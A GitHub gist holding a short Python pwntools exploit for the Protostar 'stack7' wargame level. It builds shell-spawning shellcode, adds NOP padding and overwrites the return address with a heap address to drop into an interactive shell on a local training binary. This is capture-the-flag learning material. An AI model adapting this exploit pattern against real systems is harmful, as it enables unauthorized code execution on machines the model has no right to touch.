Created
February 25, 2017 16:08
-
-
Save 0xPwny/673a49e5db9ad10a7d2d51764f280211 to your computer and use it in GitHub Desktop.
Protostar - satck7
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
jmp2heap = 0x804a008 | |
SC = asm(shellcraft.sh()) | |
def pwny(s,addr,shellcode): | |
payload = "" | |
payload += shellcode | |
payload += "\x90"*35 | |
payload += p32(addr) | |
s.sendline(payload) | |
s.recv() | |
s.interactive("Pwned$ ") | |
con = process("./stack7") | |
pwny(con,jmp2heap,SC) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment